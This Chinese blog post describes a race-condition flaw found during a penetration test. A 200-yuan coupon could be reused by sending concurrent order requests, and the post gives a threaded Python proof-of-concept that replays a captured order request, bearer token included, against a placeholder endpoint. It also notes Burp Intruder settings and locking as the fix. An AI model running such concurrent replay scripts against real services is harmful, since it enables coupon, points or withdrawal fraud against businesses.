• 条件竞争漏洞测试


    概念:

    竞争条件是系统中的一种反常现象,由于现代Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏,甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。一个看起来无害的程序如果被恶意攻击者利用,将发生竞争条件漏洞。

    曾经出现过的漏洞:

    网上大部分是使用转账的列子来说明的,曾经乌云提现环节就出现过这个漏洞,当时大神也是提现到账3000块,官方24小时紧急修复,承认提现有效。美滋滋,但愿乌云早日归来,仍是少年。

    今天在渗透测试中,刚好碰到了此类漏洞,就简单实践下。

    使用一张200块的优惠券,可以重复下单多次,达到一张优惠券,多次使用的目的。

    基本方法就是,在提交订单的时候,抓取包,然后然后然后构造脚本,进行多线程并发操作。

    备注:这最初一直使用burp intrude 的模块,设置如下:

    payloads  payload type: Null payloads

    payloads options [Null payloads] Contunue indefinietly

    Options Number of threads: 20

    死活测试不出来,不知道是不是因为这个模块,默认会发送一次请求包的原因。

    最后构造Python脚本,成功复现此漏洞。

    coupon_poc.py 如下:

    #!/usr/bin/env python
    #coding: utf8
    #author: by Gandolf
    
    import requests
    import json
    import threading
    import queue
    
    
    url = "https://www.baidu.com/api/xxx/"
    
    payload = {"couponDetailId":56194,"email":"test123@gmail.com","consigneeId":2269,"skuId":1960,"qty":1,"orderType":2}
    
    headers = {
    
            'Accept': 'application/json', 
            'deviceId': 'fcc62818-9949-21c4-0832-5396fea4363b',
            'languageId': 'en',
            'appVersion': '8', 
            'deviceType': 'android', 
            'deviceMode': 'Google Nexus S', 
            'platformVersion': '4.1.1',
            'countryId': 'PH',
            'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJha3VsYWt1Iiwic3ViIjoiOTYxOTYxOTYxMSIsImlhdCI6MTU2NTk1MDU0NSwiZXhwIjoxNTgxNTAyNTQ1fQ.AUXf-mq38AdGhDYsRyIl5I',
            'Content-Type': 'application/json', 
            'Content-Length': '106',
            'Host': 'www.baidu.com', 
            'Connection': 'close',
            'Accept-Encoding': 'gzip, deflate',
            'User-Agent': 'okhttp/3.12.0',
            'Cache-Control': 'no-cache'
    
            }
    threads = 25
    
    q = queue.Queue()
    
    for i in range(50):
        q.put(i)
    
    def post():
        while not q.empty():
            q.get()
            r = requests.post(url, data=json.dumps(payload), headers=headers)
            print(r.json())
    
    if __name__ == '__main__':
        for i in range(threads):
            t = threading.Thread(target=post)
            t.start()
    
        for i in range(threads):
            t.join()

    此类漏洞一般出现在:签到,积分兑换,转账,优惠券,提现,文件上传等环节。

    修复方案当然是给数据库加锁啦

    完!

  • 相关阅读:
    Code First 迁移
    使用C#创建Windows服务 并发布Windows 服务
    线程(Thread,ThreadPool)、Task、Parallel
    用《捕鱼达人》去理解C#中的多线程
    Visual Studio提示“无法启动IIS Express Web服务器”的解决方法 调试闪退
    防cc攻击策略
    多线程和异步的异同和使用场景
    JQuery Checkbox 获取多选值 Checkbox选中个数
    C# 说说lock到底锁谁?(1)
    C# 说说lock到底锁谁?(2)
  • 原文地址:https://www.cnblogs.com/hack404/p/11369166.html
Copyright © 2020-2023  润新知